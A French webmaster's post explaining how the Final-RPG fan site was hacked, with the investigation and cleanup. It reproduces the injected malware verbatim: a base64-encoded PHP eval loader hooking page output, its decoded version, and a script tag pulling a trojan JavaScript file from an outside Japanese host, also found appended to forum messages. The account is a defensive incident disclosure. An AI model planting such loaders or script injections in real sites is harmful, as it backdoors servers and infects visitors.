L'heure est grave pour Final-RPG. En effet, vous ne le savez peut être pas, mais le site s'est fait hacker par un site japonais pas plus tard qu'avant hier ! C'est donc Mercredi que j'ai eu la surprise de voir que Final-RPG était le seul site qui chargeait la page au bout de 1 minutes et 20 secondes Croyant au départ que ma connexion était la source du problème, j'ai vite laissé tombé l'idée en pensant que cela venait d'un MOD foireux que j'avais encore installé Seulement, un détail m'intriguais. Au lieu de voir "En attente de final-rpg.com...", il y avait "En attente de "En attente de cgi35.plala.or.jp...". Curieux n'est-ce pas ? D'autant plus qu'il arrive que l'on puisse voir: "En attente de google.adsense.com" (ou un truc du genre) correspondant à la pub Google qui se trouve dans le menu de gauche. Cela signifie que le code donné par Google récupère des informations sur le site. Or, je n'ai jamais vu cette adresse de site !
Une fois le doute du hack introduit dans mon esprit, je me suis dépêché de vérifier la page d'accueil afin de voir si cette dernière a subi des changements. Malheureusement, c'était bel et bien le cas. Il a bien choisi sont moment, en pleine semaine de BAC Blanc . Le pirate avait rajouté ceci tout en haut de la page:
- Code : Tout sélectionner
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS93YjUxNjA3L2luY2x1ZGVzL2RvY3MvYXBpL2dlc2hpL2NvcmUvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL3diNTE2MDcvaW5jbHVkZXMvZG9jcy9hcGkvZ2VzaGkvY29yZS9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>
Ainsi que cette ligne tout en bas:
- Code : Tout sélectionner
<?php
<script src=http://cgi35.plala.or.jp/BTO/data/entry/css.js></script>
?>
L'enquête pouvait désormais commencer ! On voit que la ligne rajouté tout en bas exécute un code javascript contenu dans le fichier "css.js" qui, lui-même, se trouve sur un site japonais (sur lequel je n'arrive pas à aller). Il s'avère que ce fichier est en fait un Cheval de Troie très bien détecté par Avast. Je ne sais pas si le fait de simplement aller sur le site permettrait à ce hackeur de recueillir des informations sur votre PC, mais ce fichier était quand même potentiellement dangereux.
Fort heureusement, les autres fichiers PHP ne contenaient pas cette dernière ligne. En revanche, absolument TOUS les fichiers PHP du site avait le premier code de rajouté tout en haut. Vous imaginez la chose ? Supprimer ces lignes dans chacun des fichiers à la main ?
Avant de faire quoique ce soit, je décide de m'intéresser à l'analyse de ce code. On voit en premier lieu que juste après la balise "<?php", il ouvre et referme aussitôt un commentaire. Sans doute un moyen de profiter d'un bug de script pour insérer la suite du code. En parlant de cette suite, on voit beaucoup de chiffres/lettres, mais vu comme ça, on peut pas en tirer grand chose... Cependant, il fait appelle à 2 fonctions: "eval" et "base64_decode". Un petit tour sur la doc PHP nous permet de savoir que "eval" permet d'évaluer son contenu comme un script PHP alors que "base64_decode" s'occupe de décoder la suite de chiffres/lettres qui suit. J'ai donc commencé par afficher le code décodé. Ce qui m'a donné ceci:
- Code : Tout sélectionner
<?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
$GLOBALS['sh_no']=1;
if(file_exists('/home/wb51607/includes/docs/api/geshi/core/copper.php')){
include_once('/home/wb51607/includes/docs/api/geshi/core/copper.php');
if(function_exists('gml')&&!function_exists('dgobh')){
if(!function_exists('gzdecode')){
function gzdecode($d){
$f=ord(substr($d,3,1));
$h=10;
$e=0;
if($f&4){
$e=unpack('v',substr($d,10,2));
$e=$e[1];
$h+=2+$e;
}
if($f&8){
$h=strpos($d,chr(0),$h)+1;
}
if($f&16){
$h=strpos($d,chr(0),$h)+1;
}
if($f&2){
$h+=2;
}
$u=gzinflate(substr($d,$h));
if($u===FALSE){
$u=$d;
}
return $u;
}
}
function dgobh($b){
Header('Content-Encoding: none');
$c=gzdecode($b);
if(preg_match('/\]*\>)/si','$1'.gml(),$c);
}
else{
return gml().$c;
}
}
ob_start('dgobh');
}
}
}
?>
Bon, étant donné que vous ne connaissez pas vraiment le PHP, je ne vais pas décrire le fonctionnement de ce script. Retenez simplement les lignes du haut
- Code : Tout sélectionner
<?php
if(file_exists('/home/wb51607/includes/docs/api/geshi/core/copper.php')){
include_once('/home/wb51607/includes/docs/api/geshi/core/copper.php');
//La suite du code
}
?>
Ici, il vérifie l'existence d'un fichier nommé "copper.php". S'il existe, il inclue dans la page. Comme je suis vraiment pas malin et que je vois que le fichier "copper.php" dont il se sert se trouve dans le dossier "GeShi" (coloration syntaxique du code => scripts ruby pour RPG Maker), je supprime tout le dossier le plus vite possible ! En effet, il ne faut pas qu'il relance une attaque, il est important d'agir rapidement ! Comme je l'ai déjà dit, dans ce genre de moment, ma bêtise peut atteindre des sommets et je n'ai pas fait de sauvegarde de ce fameux fichier "copper.php"... Au final, je ne sais pas quel était le fichier qu'il avait inclut dans chacune des pages du site...
Néanmoins, j'étais rassuré, je savais ce que faisais le script ! Pourtant, il n'y avait pas de quoi être rassuré... Il me manquait un détail crucial: la faille qu'il a exploitée ! Oui, ça ne sers à rien de faire tout ça s'il peut le refaire le lendemain Il fallait boucher les trous avant de procéder à la réparation !
Par contre, par où commencer ? Le site, bien que petit, possède une multitude de fichiers ! Je me suis dans un premier temps tourné vers des systèmes que j'ai moi même réalisés. Ainsi, il a fallu que je vérifie les dernières activités du livre d'or et du formulaire de contact. Mais là , rien de choquant, en même temps, je vois mal comment on pourrait envoyer un fichier via un formulaire qui n'est pas fait pour ça, surtout en vérifiant chaque donnée entrée par l'utilisateur ! (je dis pas que c'est pas possible, attention Mais je ne sais pas comment faire, donc il est difficile pour moi de boucher une faille de ce coter là ). J'ai donc changé de cible en me tournant cette fois-ci sur des systèmes pré-installés. Une chose est sure, phpBB3 est quasiment sans faille, et ce n'est pas sur ce petit forum que la première faille de phpBB3 serait utilisée Seulement, j'ai installé pas mal de MODs qui, eux, peuvent être une source potentielle de danger ! Mais aucun de tous ces MODs ne permettraient d'envoyer des fichiers et la quasi totalité ne permettent pas à l'utilisateur d'envoyer des informations ! C'était tout de même une piste, mais pas celle qui risque le plus de me mener vers une résultat. Disons que c'était ma roue de secours Le deuxième système que j'ai installé est la base de ressource de RPG Maker. Vous savez, le truc qui aurait du se remplir il y a 3 ans !
Eh bien sachez que j'ai été stupéfait de voir que cette partie du site n'était pas ralentie => aucun code n'a été rajouté dans ces fichiers ! De plus en plus suspect... Je me connecte à l'administration pour voir quels ont été les derniers uploads effectués. Malheureusement, rien n'a été enregistré de récent. De toute façon, les fichiers d'extension .php ne peuvent être uploadés, tout comme pour le forum alors. Ce qui veut dire que s'il a réussi à envoyer un fichier .php sur le serveur grâce à la galerie de ressource, il l'a fait de manière détourner, en utilisant un bug, il est donc normal que ces fichiers n'aient pas été enregistrés comme des fichiers uploadés.
Pas de piste dans l'historique donc. J'ai alors décidé de regarder dans l'onglet "FTP" de l'administration de la galerie des ressources. Cette onglet permet à l'administrateur d'ajouter des fichiers déjà envoyés sur le serveur grâce à un FTP dans des albums de la galerie. Dans cette onglet, on peut voir apparaître une arborescence qui correspond à celle du dossier "album". Grosse surprise lorsque j'ai vu que 2 fichiers plus qu'étrange s'y trouvaient: "1.php" et "main.inc.php". Avant de les supprimer, je prends cette fois-ci la peine de les sauvegarder pour voir ce qu'ils contenaient. C'était bel et bien l'œuvre de notre hackeur car des pubs japonaises remplissaient la page "1.php". Quant à "main.inc.php", il s'agissait d'un code à la manière de ce copiés dans tous les fichiers .php du site (vous savez, "eval(base64_decode(R6f5sd5263faDa654d6az54dAZd4654sd46a4sd6984))"). Je n'ai pas pris la peine de le décoder, mais je me doute que c'était pas pour faire quelque chose de gentil
Au final, je pense toujours que ce qui a permis au pirate d'insérer des fichiers sur le serveur est la base de donnée de ressource RPG Maker. Et j'espère réellement que c'est ça car sinon le site est toujours en danger !
Je me suis empressé de sauvegarder puis supprimer toute la galerie de ressource en espérant que le massacre s'arrêtera là . Vous n'êtes donc pas prêt de la revoir
Il était temps de passer à la réparation ! Comme tout le monde le sait, je suis le meilleur webmaster qu'internet ait connu (lol), et en tant que meilleur, je me devais de faire une sauvegarde complète du site ! Il m'a donc été très facile de remettre le site normal, un simple copier-coller a suffit. On ne peut pas en dire de même pour le forum. A force, vous savez que les MODs sur le forum sont nombreux. Qui dit MODs dit modifications de fichiers en masse ! Je ne suis jamais sur du résultat lorsque je réupload une sauvegarde des fichiers forum... De plus, le forum commençait à vieillir accumulant les bugs. J'ai alors définitivement décidé de réinstaller le forum de A à Z. Vous êtes donc sur un nouveau forum tout neuf ! Enfin, pour les fichiers, j'ai, bien entendu, restaurer les données de la base de donnée ! Vous imaginez repartir avec un forum vide ? Ben pas moi
Quelles sont les conséquences du renouvellement des fichiers ? Eh bien elles sont toutes mauvaises Il n'y a plus aucun MOD et le thème sur lequel j'ai longuement travaillé n'est pas prêt de revenir. Rassurez-vous, la réinstallation des MODs n'est qu'une question de temps ! Par contre, je ferais beaucoup plus attention cette fois à ne pas installer n'importe quoi. le MOD Arcade et la Shoutbox étant les priorités ! J'aimerais aussi remettre le MOD permettant d'éditer les messages sans charger la page avec l'AJAX. Ce sont les seuls MODs que je trouve utile à remettre, s'il y en a un qui vous manque, n'hésitez pas à me le demander !
Cette réinstallation m'a permis de trouver la raison d'un bug vraiment très gênant, celui-ci:
- Code : Tout sélectionner
General Error
SQL ERROR [ mysql4 ]
User wb51607 has already more than 'max_user_connections' active connections [1203]
An sql error occurred while fetching this page. Please contact an administrator if this problem persists.
Je pense que cette erreur est dût au style X-Static (l'ancien thème) car quand j'ai réinstallé le forum, j'ai gardé ce thème. Or cette erreur réapparaissait toutes les pages quasiment Mais une fois le thème changer, je ne l'ai plus revu ! (et ça fait pas de mal )
Après avoir réinstaller le forum et rétablit la base de donnée, je décide d'aller voir ce que ça donne. C'est impressionnant à quel point je trouve le forum plus rapide qu'avant ! Malgré tout, il restait encore un problème, alors que le forum était très rapide, les messages, eux, s'affichaient très lentement... J'ai cherché pendant pas mal de temps d'où ça pouvait venir... Et devinez quoi ? Notre ami pirate avait encore fait des siennes ! C'est quand j'ai décidé de lire un message dans la base de donnée que j'ai vu qu'à la fin de chaque message un petit bout de code familier trainait:
- Code : Tout sélectionner
<?php
<script src=http://cgi35.plala.or.jp/BTO/data/entry/css.js></script>
?>
Or, lorsqu'on exporte les données dans un fichier texte, les messages sont convertis en hexadécimal ce qui fait que l'on va avoir plein de ligne de ce genre:
- Code : Tout sélectionner
<?php
INSERT INTO `forum_forums` VALUES (18, 40, 4, 5, 0x613a313a7b693a34303b613a323a7b693a303b733a393a2246696e616c2d525047223b693a313b693a303b7d7d, 0x44697363757373696f6e73206469766572736573, 0x536920766f7573206e6520736176657a20706173206fc3b920c3a9637269726520766f747265206d6573736167652c2063276573742064616e7320636520746f70696320717527696c2066617574206c65206d65747472652063617220696c207065726d657420646520732765787072696d6572206c696272656d656e742073757220746f757420636520717569206e27612070617320646520726170706f72742061766563206c6520736974652046696e616c2d5250472021, '', 7, '', '', '', 0, '', '', '', '', 7, '', 0, 1, 0, 3010, 32, 32, 8649, 6, 0x52653a204c27686f726c6f6765207061726c616e7465205e5e, 1232883521, 0x42656e6a616d696e, '', 34, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0x30, 1);
?>
Le texte étant la suite de chiffres/lettres. Pas facile de retrouver la ligne rajoutées dans tout ça... Il m'a donc fallu la traduire en héxadécimal et je remercie le PHP pour ses précieuses fonctions (bin2hex() pour ceux que ça intéressent ). Ce qui m'a donné ceci:
Après, le reste c'est du gâteau ! Il a suffit de replacer cette longue suite de chiffres/lettres par un caractère vide puis de tout réinsérer dans la base de donnée ! Sur plus de 8400 messages, ce fut très long (et mon PC à souffert ).
Voilà , maintenant vous savez tout ! Pour finir mon explication, voici un lien sur lequel je vais me pencher quelques temps
ICI
Et n'oubliez pas que je vous donne ce lien uniquement pour que vous vous protégiez ou que vous aidiez des gens mal informés, et non pas pour détruire le travail des autres...
Sur ce, bonne vacance à tous ! (ah oui, j'aurais presque oublié ce détail à cause de ça )